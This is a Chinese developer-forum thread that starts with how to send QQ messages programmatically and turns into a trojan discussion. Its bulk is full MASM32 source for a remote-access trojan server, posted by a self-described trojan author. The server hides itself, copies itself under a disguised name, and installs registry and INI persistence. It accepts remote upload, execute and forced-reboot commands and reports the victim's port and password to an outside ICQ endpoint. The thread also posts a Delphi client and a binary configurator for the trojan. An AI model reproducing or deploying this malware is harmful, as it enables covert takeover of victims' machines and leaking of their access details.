怎样用自己的程序向QQ发消息(100分)

  • 主题发起人 主题发起人 odbc1230
  • 开始时间 开始时间
红叶千夫指,只是模拟人工输入操作,没什么技术含量的。
按照 你的想法,应该走udp协议,但是现在QQ的协议是进行加密的,你必须在了解
它协议的基础上,还要知道它的加密协议,这样发过去数据后再会被对方QQ正常
解释出来,反之,呵呵,就没什么用了,比较难搞。
 
总而言之,言而总之
QQ的UDP加密协议是什么?
这个解决了,其它的都可以说是很简单的了。呵呵
 
自己从QQ中将口令加密算法,消息加密算法及解密算法剥离出来吧几十K而已。至于通讯协议,用个SNIFFER
抓包来分析就行,UDP数据的前7个字节包含了控制码等信息。第8到0XB字节就是你自己的QQ号,
看清楚了吧,BIG-ENDIAN的DWORD值。至于其他方面,自己研究吧。花上几个通霄,一定会有结果的
 
用NETXRAY来分析一下别人给你发的消息,还有你发给别人的消息
高难高难啊。如果做成了一定要在大富翁上贴个帖子哦,
据说QQ的加密是加了又加密了又密,哎,大罗神仙也是枉然,
而且通讯格式也是改过几次。怕是找到的文章也是以前版本的了

 
看来有很多人对QQ感兴趣,其实QQ的实现非常简单,方法很多,本人采用了这样一种方法实现
(采用UDP):
将要发的字符串附给数组,然后将数组处理成字符串,再将字符发送出去,服务器收到字符串之后
按相反过程处理成数组,再根据第一个数组的标识做去相应用的处理.如:第一个数组为0X01为用户
注册,0X02为登录等.....当然为了安全,必须在发送数据时加密,在接收数据时解密,本人开发的
QQ采用了DES加密,至于腾讯用的加密算法,可能不会那么简单,据说是用了三重DES,那就不容易
破解了.
对此问题有兴趣的朋友,可以访问 http://www.hysofts.com 下载华源QQ试用.
 
呵呵!目前本人也在开发类似 QQ 这样的即时通讯软件的程序!不过只是想做着玩玩,
并没有其它的意思!如果有谁在这方面有兴趣的话请跟本人联系,QQ:9809827

请在验证的时候加入“一起讨论有关 QQ 的问题”!谢谢!
 
TO jingtao
在我QQ上有个叫 [QQ:65478289 晓风残月] 的

他说是您的老师(说实话我不是很相信)
以下是他和我的对话部分内容

-----------------
(2002-03-02 16:39:39) 晓风残月
一个人他发现了一台TW的服务器中了黑洞2000 {而黑洞2000是我学生2000在TTY的第一个作品}也就是WINDOWS下的木马
后来那个朋友奇怪的非常这个主机真正的OS是UNIX
并不是NT而真真正正是UNIX 但是为什么黑洞 可以连接上去呢
后来他又继续的发现虽然可以连上但是却不可以运用里面的任何文件
包括下载的WINDOWS都不可以运行
-------------
(2002-03-02 16:40:25) 晓风残月
说为什么我用黑洞连上了一只 UNIX的肉鸡但是为什么不可以打开像QQ木马这样的东西
-------------------------
(2002-03-02 16:40:56) 晓风残月
那个高手哈哈大笑说 WINDOWS的文件怎么可以运行在UNIX上呢 黑洞是WINDOWS下的木马
----------------
(2002-03-02 16:41:30) 晓风残月
那个朋友没说什么的走了 但是他确实是用黑洞连上了那抬UNIX的主机
----------------------
=======================
(2003-04-30 16:44:21) ←℃EdRen╃
难道jingtao的黑洞的SERVER可以在UNIX上运行??

没听说,但也不是完全不可能的事啊
========================
(2003-04-30 16:44:40) ←℃EdRen╃
你的看法是
===========================
-------------------------
(2002-03-02 16:43:07) 晓风残月
像知道原因和答案吗
可以这样说那个黑洞是WIN32文件 没有改造过的 在 WINDOWS UNIX下的可以运用 到了2001年我的学生在他自己主页发表了一个文章
{UNIX下的WINDOWS木马}那个朋友才明白了一切
-----------------------------
===============================
(2003-04-30 16:44:45) ←℃EdRen╃
经涛是你学生?
=================================
----------------------------
(2002-03-02 16:45:32) 晓风残月
经滔?你认识我学生?
------------------------------
========================
(2003-04-30 16:46:05) ←℃EdRen╃
知道他

BBS上碰过面
=========================
(2003-04-30 16:46:32) ←℃EdRen╃
那你很老啦!

在上海教书??
================================
(2002-03-02 16:44:43) 晓风残月
NO,目前网上下载的黑洞2000-2002都只是他在学校无聊写来玩的垃圾
没有次功能 真正的那个版本是我写的 不是DELPHI而是用C
===============================
(2003-04-30 16:48:08) ←℃EdRen╃
你的意思

你做到了
在http://www.delphibbs.com/delphibbs/dispq.asp?lid=617077

API函数拦截技术
==========================
(2003-04-30 16:48:32) ←℃EdRen╃
是做到了 拦截技术吗
==============================
(2002-03-02 16:47:22) 晓风残月
不是没有看见是根本没有地方看
榕志成知道吧?其实这东西的思路是我和他在2年前无意中想出来的
他也写过一个这样的东西。。。就是那个写流光的作者
===================================
(2003-04-30 16:49:57) ←℃EdRen╃
是不是用了

API拦截技术??
=================================
(2002-03-02 16:48:28) 晓风残月
是的 根本没有地方找 看都看不见 基本达到隐行的状态
但是为什么只有4K不到呢 到底有什么功能? 你肯定想问吧 ?呵~
=========================================
(2003-04-30 16:50:56) ←℃EdRen╃
是啊

4K能做什么呢

肯定也没什么功能
=====================================
(2003-04-30 16:51:35) ←℃EdRen╃
是吧

不要说只是下载的功能哦
============================
(2003-04-30 16:53:35) ←℃EdRen╃
是没功能吧

你看4K能做出什么!

JINGTAO的那个netdown都起码10K
============================================
(2002-03-02 16:53:25) 晓风残月
11K,不是 10K 那个只达到我的木马的5份之一的功能 !
=================================
(2003-04-30 16:55:57) ←℃EdRen╃
怎么可能呢

你说直接说了吧

到底有什么功能呢
============================
(2002-03-02 16:55:18) 晓风残月
如果你想试试 我可以给你EXE
你可以试图装几款漂亮的防火墙
看看我在连接你的时后有无动做!
=========================
(2003-04-30 16:58:00) ←℃EdRen╃
好啊

你连接进后 showmessage() 证明一下确实能装防火墙
=======================================
(2003-04-30 17:10:22) ←℃EdRen╃
可以了

就天网吧
/////////////////////////////////
说到这里此人突然下线,过了好一会再次上线时,发QQ消息给他,也再也不回复了!
真荒唐,我编程虽然是初学,但在别的方面怎么也算是小有名气
不知道是不是被他耍了!
说实话他说的那么小的马怎么可能!
用C也不可能实现吧!
他以为他是BO2K或SUB7 作者啊
就算是BO2K或SUB7 作者他们写的东西也比4K大吧!




 
哈哈,有趣,我的书本是老师.
我不认识他,不过我和国内很多黑客,比如说PP,鹰派的皮鲁等都很熟,前几天还到PP的公司
玩了一趟(深圳永达).不过没听说过晓风残月.
黑洞2000的确是很简陋的练手作品,现在看起来简直土死了:例如,每次只能对一台电脑操作,
文件下载上传之类不支持断点,不支持局部网对局部网的连接,不支持摄像头,也不是驱动型
木马(这样一来很容易被人发现.注册表,进程等),不过在前几年来说还是可以用的.
我现在都不玩这个了,只是后来还是做了一个驱动型的.不过是为国安做的,签订了保密协议,
所以不能公布.不过初期都在网络上和杭州的一个网友黑人试验过摄像头传输和比特挪移,
后来被发现,强行签订了保密协议,#$@%^在功能上很多新特性是目前所有马都没有的,在防火
墙方面,也比进程插入先进的多.
关于程序体积,其实现在主程序的大小已经不是很重要了.有特殊的技术可以克服的.
不过如果非要很小,那么可以用32位汇编来写,很简单的,跟SDK差不多,就是调API.
下面是一个服务端的例子,编译后为11K,UPX处理后只有4.5KB

.386
.model flat, stdcall

include c:/slim/masm32/include/windows.inc
include c:/slim/masm32/include/kernel32.inc
includelib c:/slim/masm32/lib/kernel32.lib
include c:/slim/masm32/include/user32.inc
includelib c:/slim/masm32/lib/user32.lib
include c:/slim/masm32/include/wsock32.inc
includelib c:/slim/masm32/lib/wsock32.lib
include c:/slim/masm32/include/shell32.inc
includelib c:/slim/masm32/lib/shell32.lib
include c:/slim/masm32/include/advapi32.inc
includelib c:/slim/masm32/lib/advapi32.lib
include c:/slim/masm32/include/masm32.inc
includelib c:/slim/masm32/lib/masm32.lib

SendPass PROTO remoteaddr:DWORD

SOCKADDR_IN STRUCT
sin_family WORD ?
sin_port WORD ?
sin_addr DWORD ?
sin_zero BYTE 8 dup (?)
SOCKADDR_IN ENDS

.data ;initialized variables

;hiding
kernel32 db 'kernel32.dll', 0
func db 'RegisterServiceProcess', 0

;icq notify
useicq db '123', 0
icqip db '205.188.147.55', 0
icqstr1 db 'GET /scripts/WWPMsg.dll?from=Asylum&fromemail=Asylum', 0
icqstr2 db '&subject=OnlineNotification&body=hey%20there,%20ive%20been%20committed...%20[name=', 0
icqstr3 db ']_[port=', 0
icqstr4 db ']_[password=', 0
icqstr5 db ']_[version=0.1]_[winver=', 0
icqstr6 db ']&to=', 0
endicq db ' HTTP/1.0', 0
uin db '1234567icq', 0

;socket stuff
saddrlen dw 16
db 16 dup (0)

;startup stuff
cpyname db 'wincmp32.exe', 0
sysini db 'system.ini', 0
winini db 'win.ini', 0
explorer db 'explorer.exe ', 0
boot db 'boot', 0
shell db 'shell', 0
windows db 'windows', 0
load db 'load', 0
run db 'run', 0
regkey db 'SOFTWARE/Microsoft/Windows/CurrentVersion/', 0
runkey db 'Run/', 0
runsrvkey db 'RunServices/', 0
runkeyname db 'RegistryKeyName1234567890', 0
runsrvname db 'RegistryKeyName1234567890', 0
regusername db 'RegistryKeyName1234567890', 0
pass db '123', 0
reguser db '123', 0
regrunstart db '123', 0
runsrvstart db '123', 0
sysinistart db '123', 0
winloadstart db '123', 0
winrunstart db '123', 0

;connection stuff
mainportis db '23432', 0
srvname db '12345678901234567vic', 0
password db '1234567890123456pass', 0

;misc
space db ' ', 0
question db '?', 0
leftbracket db '(', 0
rightbracket db ')', 0
quote db '"', 0
slash db '/', 0
truth db '123', 0
fals db '321', 0
na db 'n/a', 0
eol db 13, 10, 13, 10, 13, 10, 0

;os version
nt db 'NT', 0
ninefive db '95', 0
nineeight db '98', 0

;server commands
rqs db 'RQS', 0 ;request (to connect)
pas db 'PAS', 0 ;password
gnt db 'GNT', 0 ;granted
dny db 'DNY', 0 ;denied
die db 'DIE', 0 ;remove ye ol' server
upl db 'UPL', 0 ;upload
rbt db 'RBT', 0 ;reboot
wdr db 'WDR', 0 ;windows directory
sdr db 'SDR', 0 ;system directory
runcmd db 'RUN', 0 ;run file
inv db 'INV', 0 ;invalid command

.data? ;uninitialized variables

;buffers!
sendbuff db 1024 dup (?)
recvbuff db 1024 dup (?)
moobuff db 1024 dup (?)
uplbuff db 1024 dup (?)
runfilename db 128 dup (?)
sysiniloc db 128 dup (?)
wininiloc db 128 dup (?)
sysinistr db 128 dup (?)
wininistr db 128 dup (?)
regbuff db 128 dup (?)
exename db 128 dup (?)
windir db 128 dup (?)
sysdir db 128 dup (?)
parambuff db 128 dup (?)
cpystr db 128 dup (?)
uplfilename db 128 dup (?)
icqbuff db 256 dup (?)
passwd db 20 dup (?)
miscbuff db 16 dup (?)
fsize db 16 dup (?)
cmdbuff db 3 dup (?)

;socket stuff
mainsock dd ?
icqsock dd ?
sin SOCKADDR_IN<>
client SOCKADDR_IN<>
icqsin SOCKADDR_IN<>
wsadata WSADATA<>

;hiding
RSP dd ?

;os version
vinfo OSVERSIONINFO<>

;startup stuff
reghand dd ?

;thread stuff
icqthread DWORD ?
recvthread DWORD ?

;file transfer stuff
bytesdone dd ?
numbytes dd ?
buffread dd ?
buffwrite dd ?
uplfile dd ?
fsizeint dd ?

.code ;code starts here aye?
start:
invoke GetModuleHandle, offset kernel32
invoke GetProcAddress, eax, offset func
.if eax != 0
mov [RSP], eax
push 1
push 0
call RSP
.endif
invoke atodw, offset useicq
.if eax == 123
mov eax, offset ICQNotify
invoke CreateThread, NULL, NULL, eax, offset uin, 0, offset icqthread
invoke CloseHandle, eax
.endif
invoke GetCL, 0, offset exename
invoke GetWindowsDirectory, offset windir, sizeof windir
invoke lstrcpy, offset cpystr, offset windir
invoke lstrcat, offset cpystr, offset slash
invoke lstrcat, offset cpystr, offset cpyname
invoke CopyFile, offset exename, offset cpystr, 0
invoke atodw, offset sysinistart
.if eax == 123
invoke lstrcpy, offset sysiniloc, offset windir
invoke lstrcat, offset sysiniloc, offset slash
invoke lstrcat, offset sysiniloc, offset sysini
invoke lstrcpy, offset sysinistr, offset explorer
invoke lstrcat, offset sysinistr, offset cpyname
invoke WritePrivateProfileString, offset boot, offset shell, offset sysinistr, offset sysiniloc
.endif
invoke lstrcpy, offset wininiloc, offset windir
invoke lstrcat, offset wininiloc, offset slash
invoke lstrcat, offset wininiloc, offset winini
invoke lstrcpy, offset wininistr, offset cpystr
invoke atodw, offset winloadstart
.if eax == 123
invoke WritePrivateProfileString, offset windows, offset load, offset wininistr, offset wininiloc
.endif
invoke atodw, offset winrunstart
.if eax == 123
invoke WritePrivateProfileString, offset windows, offset run, offset wininistr, offset wininiloc
.endif
invoke atodw, offset regrunstart
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runkey
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, offset regbuff, 0, KEY_WRITE, offset reghand
invoke lstrlen, offset cpystr
invoke RegSetValueEx, reghand, offset runkeyname, 0, REG_SZ, offset cpystr, eax
invoke RegCloseKey, reghand
.endif
invoke atodw, offset runsrvstart
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runsrvkey
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, offset regbuff, 0, KEY_WRITE, offset reghand
invoke lstrlen, offset cpystr
invoke RegSetValueEx, reghand, offset runsrvname, 0, REG_SZ, offset cpystr, eax
invoke RegCloseKey, reghand
.endif
invoke atodw, offset reguser
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runkey
invoke RegOpenKeyEx, HKEY_CURRENT_USER, offset regbuff, 0, KEY_WRITE, offset reghand
invoke lstrlen, offset cpystr
invoke RegSetValueEx, reghand, offset regusername, 0, REG_SZ, offset cpystr, eax
invoke RegCloseKey, reghand
.endif

mainsock_listen:
invoke WSAStartup, 202h, offset wsadata
.if eax != NULL
invoke Sleep, 512
jmp mainsock_listen
.endif
invoke socket, PF_INET, SOCK_STREAM, 0
.if eax != INVALID_SOCKET
mov mainsock, eax
.else
invoke Sleep, 512
jmp mainsock_listen
.endif
mov sin.sin_family, PF_INET
invoke atodw, offset mainportis
invoke htons, eax
mov sin.sin_port, ax
mov sin.sin_addr, 0
invoke bind, mainsock, offset sin, sizeof sin
.if eax == SOCKET_ERROR
invoke closesocket, mainsock
invoke Sleep, 512
jmp mainsock_listen
.endif

acceptloop:
invoke listen, mainsock, SOMAXCONN
invoke accept, mainsock, offset client, offset saddrlen
.if eax != INVALID_SOCKET
mov edx, offset RecvData
invoke CreateThread, NULL, NULL, edx, eax, 0, offset recvthread
invoke CloseHandle, eax
.endif
jmp acceptloop

RecvData PROC remoteaddr:DWORD
LOCAL authed:DWORD
mov authed, 321
receiveloop:
.while 1
mov eax, 0
mov ecx, 1024
lea edi, recvbuff
rep stosb
mov eax, 0
mov ecx, 1024
lea edi, sendbuff
rep stosb
mov eax, 0
mov ecx, 128
lea edi, parambuff
rep stosb
invoke recv, remoteaddr, offset recvbuff, sizeof recvbuff, 0
.break .if eax == SOCKET_ERROR
.break .if eax == 0
invoke midstr, offset recvbuff, offset cmdbuff, 0, 3 ;cut off the command part
invoke lstrcmpi, offset cmdbuff, offset die ;kill server
.if eax == 0
.if authed == 123
invoke atodw, offset sysinistart
.if eax == 123
invoke WritePrivateProfileString, offset boot, offset shell, offset explorer, offset sysiniloc
.endif
invoke atodw, offset winloadstart
.if eax == 123
invoke WritePrivateProfileString, offset windows, offset load, offset space, offset wininiloc
.endif
invoke atodw, offset winrunstart
.if eax == 123
invoke WritePrivateProfileString, offset windows, offset run, offset space, offset wininiloc
.endif
invoke atodw, offset regrunstart
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runkey
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, offset regbuff, 0, KEY_WRITE, offset reghand
invoke RegDeleteValue, reghand, offset runkeyname
invoke RegCloseKey, reghand
.endif
invoke atodw, offset runsrvstart
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runsrvkey
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, offset regbuff, 0, KEY_WRITE, offset reghand
invoke RegDeleteValue, reghand, offset runsrvname
invoke RegCloseKey, reghand
.endif
invoke atodw, offset reguser
.if eax == 123
invoke lstrcpy, offset regbuff, offset regkey
invoke lstrcat, offset regbuff, offset runkey
invoke RegOpenKeyEx, HKEY_CURRENT_USER, offset regbuff, 0, KEY_WRITE, offset reghand
invoke RegDeleteValue, reghand, offset regusername
invoke RegCloseKey, reghand
.endif
invoke ExitProcess, 0
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset rbt ;reboot
.if eax == 0
.if authed == 123
.while 1
invoke ExitWindowsEx, EWX_SHUTDOWN or EWX_FORCE, NULL
invoke ExitWindowsEx, EWX_POWEROFF or EWX_FORCE, NULL
invoke ExitWindowsEx, EWX_REBOOT or EWX_FORCE, NULL
invoke ExitWindowsEx, EWX_LOGOFF or EWX_FORCE, NULL
.endw
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset wdr ;windows directory
.if eax == 0
.if authed == 123
invoke lstrcpy, offset sendbuff, offset wdr
invoke lstrcat, offset sendbuff, offset space
invoke lstrcat, offset sendbuff, offset windir
invoke lstrcat, offset sendbuff, offset slash
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset sdr
.if eax == 0
.if authed == 123
invoke GetSystemDirectory, offset sysdir, sizeof sysdir
invoke lstrcpy, offset sendbuff, offset wdr
invoke lstrcat, offset sendbuff, offset space
invoke lstrcat, offset sendbuff, offset sysdir
invoke lstrcat, offset sendbuff, offset slash
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset upl ;upload
.if eax == 0
.if authed == 123
invoke lstrcpy, offset moobuff, offset recvbuff
invoke InString, 1, offset recvbuff, offset question
dec eax
invoke lstr, offset recvbuff, offset parambuff, eax
invoke lstrcpy, offset uplfilename, offset parambuff
invoke midstr, offset uplfilename, offset uplfilename, 4, 128
invoke InString, 1, offset moobuff, offset question
invoke midstr, offset moobuff, offset fsize, eax, 128
invoke atodw, offset fsize
mov fsizeint, eax
invoke CreateFile, offset uplfilename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
mov uplfile, eax
.while 1
mov eax, 0
mov ecx, 1024
lea edi, uplbuff
rep stosb
invoke recv, remoteaddr, offset uplbuff, sizeof uplbuff, 0
.break .if eax == SOCKET_ERROR
.break .if eax == 0
mov buffread, eax
add bytesdone, eax
invoke WriteFile, uplfile, offset uplbuff, buffread, offset buffwrite, NULL
mov edx, fsizeint
.break .if edx == bytesdone
.endw
invoke CloseHandle, uplfile
.continue
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset runcmd ;run file
.if eax == 0
.if authed == 123
mov eax, 0
mov ecx, 128
lea edi, runfilename
rep stosb
invoke midstr, offset recvbuff, offset runfilename, 4, 128
invoke ShellExecute, NULL, NULL, offset runfilename, NULL, NULL, SW_SHOWNORMAL
.if eax > 32
invoke lstrcpy, offset sendbuff, offset runcmd
invoke lstrcat, offset sendbuff, offset space
invoke lstrcat, offset sendbuff, offset truth
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.else
invoke lstrcpy, offset sendbuff, offset runcmd
invoke lstrcat, offset sendbuff, offset space
invoke lstrcat, offset sendbuff, offset fals
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.endif
.else
invoke SendPass, remoteaddr
.continue
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset pas ;get password
.if eax == 0
mov eax, 0
mov ecx, 20
lea edi, passwd
rep stosb
invoke midstr, offset recvbuff, offset passwd, 4, 20
invoke lstrcmp, offset passwd, offset password
.if eax == 0
invoke lstrcpy, offset sendbuff, offset gnt
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
mov authed, 123
.continue
.else
invoke lstrcpy, offset sendbuff, offset dny
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
mov authed, 321
.break
.endif
.endif
invoke lstrcmpi, offset cmdbuff, offset rqs ;client wants to connect
.if eax == 0
invoke atodw, offset pass
.if eax == 123
invoke lstrcpy, offset sendbuff, offset pas
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.else
invoke lstrcpy, offset sendbuff, offset gnt
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
mov authed, 123
.continue
.endif
.endif
invoke lstrcpy, offset sendbuff, offset inv
invoke lstrcat, offset sendbuff, offset space
invoke lstrcat, offset sendbuff, offset quote
invoke lstrcat, offset sendbuff, offset cmdbuff
invoke lstrcat, offset sendbuff, offset quote
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
.continue
.endw
invoke closesocket, remoteaddr
ret
RecvData ENDP

SendPass PROC remoteaddr:DWORD
invoke lstrcpy, offset sendbuff, offset pas
invoke lstrlen, offset sendbuff
invoke send, remoteaddr, offset sendbuff, eax, 0
ret
SendPass ENDP

ICQNotify PROC icqnumber:DWORD
icq_notify:
mov eax, 0
mov ecx, 128
lea edi, icqbuff
rep stosb
invoke WSAStartup, 202h, offset wsadata
.if eax != NULL
invoke Sleep, 512
jmp icq_notify
.endif
invoke socket, PF_INET, SOCK_STREAM, 0
.if eax != INVALID_SOCKET
mov icqsock, eax
.else
invoke Sleep, 512
jmp icq_notify
.endif
mov icqsin.sin_family, PF_INET
invoke htons, 80
mov icqsin.sin_port, ax
invoke inet_addr, offset icqip
mov icqsin.sin_addr, eax
invoke connect, icqsock, offset icqsin, sizeof icqsin
.if eax == SOCKET_ERROR
invoke closesocket, icqsock
invoke Sleep, 512
jmp icq_notify
.endif
invoke lstrcpy, offset icqbuff, offset icqstr1
invoke lstrcat, offset icqbuff, offset icqstr2
invoke lstrcat, offset icqbuff, offset srvname
invoke lstrcat, offset icqbuff, offset icqstr3
invoke lstrcat, offset icqbuff, offset mainportis
invoke lstrcat, offset icqbuff, offset icqstr4
invoke atodw, offset pass
.if eax == 123
invoke lstrcat, offset icqbuff, offset password
.else
invoke lstrcat, offset icqbuff, offset na
.endif
invoke lstrcat, offset icqbuff, offset icqstr5
mov vinfo.dwOSVersionInfoSize, sizeof OSVERSIONINFO
invoke GetVersionEx, offset vinfo
.if vinfo.dwPlatformId == VER_PLATFORM_WIN32_NT
invoke lstrcat, offset icqbuff, offset nt
invoke dwtoa, vinfo.dwMajorVersion, offset miscbuff
invoke lstrcat, offset icqbuff, offset miscbuff
invoke lstrcat, offset icqbuff, offset leftbracket
invoke dwtoa, vinfo.dwBuildNumber, offset miscbuff
invoke lstrcat, offset icqbuff, offset miscbuff
invoke lstrcat, offset icqbuff, offset rightbracket
.else
.if vinfo. dwPlatformId == VER_PLATFORM_WIN32_WINDOWS
.if vinfo.dwMinorVersion == 0
invoke lstrcat, offset icqbuff, offset ninefive
.else
invoke lstrcat, offset icqbuff, offset nineeight
.endif
.endif
.endif
invoke lstrcat, offset icqbuff, offset icqstr6
invoke lstrcat, offset icqbuff, icqnumber
invoke lstrcat, offset icqbuff, offset endicq
invoke lstrcat, offset icqbuff, offset eol
invoke lstrlen, offset icqbuff
invoke send, icqsock, offset icqbuff, eax, 0
.if eax == SOCKET_ERROR
invoke closesocket, icqsock
invoke Sleep, 512
jmp icq_notify
.endif
invoke closesocket, icqsock
ret
ICQNotify ENDP
invoke ExitProcess, 0
end start


 
客户端的大小是无所谓的,所以我们可以用Delphi来写.只要命令跟上面的服务端配对即可.
比如说上传文件:
procedure TUploadForm.UploadButtonClick(Sender: TObject);
var
SendBuff: array[1..1024] of Char;
BytesRead: Integer;
begin
UploadForm.Close;
AssignFile(F, MainForm.FileName);
{$I-}
Reset(F, 1);
{$I+}
if (IOResult <> 0) then
begin
MessageDlg('Error opening file.', mtError, [mbOK], 0);
Exit;
end;
MainForm.MainSocket.Socket.SendText('UPL '+PathBox.Text+'?'+IntToStr(FileSize(F)));
Sleep(1024);
Progress.ProgressBar.MaxValue :=FileSize(F);
Progress.Show;
MainForm.StatusBar1.SimpleText :='Starting upload of '+ExtractFileName(FileBox.Text)+' with a size of '+IntToStr(FileSize(F))+'...';
Console.ConsoleMemo.Lines.Add('Starting upload of '+ExtractFileName(FileBox.Text)+' with a size of '+IntToStr(FileSize(F))+'...');
repeat
BlockRead(F, SendBuff, 1024, BytesRead);
MainForm.MainSocket.Socket.SendBuf(SendBuff, BytesRead);
Progress.ProgressBar.Progress :=FilePos(F);
Application.ProcessMessages;
until Eof(F);
CloseFile(F);
Progress.Close;
MainForm.StatusBar1.SimpleText :='Upload done.';
Console.ConsoleMemo.Lines.Add('Upload done.');
if (UploadForm.RunCheckBox.Checked) then MainForm.MainSocket.Socket.SendText('RUN '+UploadForm.PathBox.Text);
end;

实际上,上面的服务端程序还包含了读取配置等功能.配置服务端的时候如下:

procedure TMainForm.WriteButtonClick(Sender: TObject);
var
F: File;
Count: Integer;
S: String;
Buff: Array[1..25] of Char;

begin
if (FileBox.Text = '') then
begin
MessageDlg('Please select a file.', mtError, [mbOK], 0);
Exit;
end;
if (PassBox1.Text <> PassBox2.Text) then
begin
MessageDlg('Passwords do not match.', mtError, [mbOK], 0);
Exit;
end;
AssignFile(F, FileBox.Text);
{$i-}
Reset(F, 1);
{$i+}
if (IOResult = 0) then
begin
// port
Seek(F, $1e14);
for Count :=1 to 25 do Buff[Count] :=Char(0);
S :=PortBox.Text;
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 5);
// icq number
Seek(F, $1cfe);
for Count :=1 to 25 do Buff[Count] :=Char(0);
S :=UINBox.Text;
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 10);
// password
Seek(F, $1e2f);
for Count :=1 to 25 do Buff[Count] :=Char(0);
S :=PassBox1.Text;
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 20);
// filename
Seek(F, $1d23);
for Count :=1 to 25 do Buff[Count] :=Char(0);
S :=StartupForm.FileNameBox.Text;
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 12);
// regrun key name
Seek(F, $1daa);
for Count :=1 to 25 do Buff[Count] :=Char(0);
S :=StartupForm.RegRunBox.Text;
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 25);
// reg runservices key name
Seek(F, $1dc4);
for Count :=1 to 25 do Buff[Count] :=Char(0);
S :=StartupForm.RegRunSrvBox.Text;
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 25);
// reg current user key name
Seek(F, $1dde);
for Count :=1 to 25 do Buff[Count] :=Char(0);
S :=StartupForm.RegCurrUserBox.Text;
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 25);
// password true/false
Seek(F, $1df8);
for Count :=1 to 25 do Buff[Count] :=Char(0);
if (PassCheckBox.Checked = TRUE) then S :='123' else S :='321';
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 3);
// reg currentuser startup true/false
Seek(F, $1dfc);
for Count :=1 to 25 do Buff[Count] :=Char(0);
if (StartupForm.RegCurrUserCheckBox.Checked = TRUE) then S :='123' else S :='321';
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 3);
// regrun startup true/false
Seek(F, $1e00);
for Count :=1 to 25 do Buff[Count] :=Char(0);
if (StartupForm.RegRunCheckBox.Checked = TRUE) then S :='123' else S :='321';
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 3);
// reg runservices startup true/false
Seek(F, $1e04);
for Count :=1 to 25 do Buff[Count] :=Char(0);
if (StartupForm.RegRunSrvCheckBox.Checked = TRUE) then S :='123' else S :='321';
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 3);
// sysini startup true/false
Seek(F, $1e08);
for Count :=1 to 25 do Buff[Count] :=Char(0);
if (StartupForm.SystemINICheckBox.Checked = TRUE) then S :='123' else S :='321';
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 3);
// winini load startup true/false
Seek(F, $1e0c);
for Count :=1 to 25 do Buff[Count] :=Char(0);
if (StartupForm.WinINILoadCheckBox.Checked = TRUE) then S :='123' else S :='321';
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 3);
// winini run startup true/false
Seek(F, $1e10);
for Count :=1 to 25 do Buff[Count] :=Char(0);
if (StartupForm.WinINIRunCheckBox.Checked = TRUE) then S :='123' else S :='321';
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 3);
// use icq true/false
Seek(F, $1c24);
for Count :=1 to 25 do Buff[Count] :=Char(0);
if (ICQCheckBox.Checked = TRUE) then S :='123' else S :='321';
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 3);
// server name
Seek(F, $1e1a);
for Count :=1 to 25 do Buff[Count] :=Char(0);
S :=NameBox.Text;
for Count :=1 to Length(S) do Buff[Count] :=S[Count];
BlockWrite(F, Buff, 20);
CloseFile(F);
end;
end;
 
关于本问题的解答,可以隐形调用QQ来实现的.有个软件好像叫"极光QQ终极信息群发 ",
找了一下,在这里http://soft.winzheng.com/SoftView_7753.htm

自己用程序来实现是不大现实的,它的加密协议现在已经很复杂了.
 
以上代码收藏ING,多谢,没想到SERVER端还真能做到这么小
黑洞的几个版本确实都不怎么样
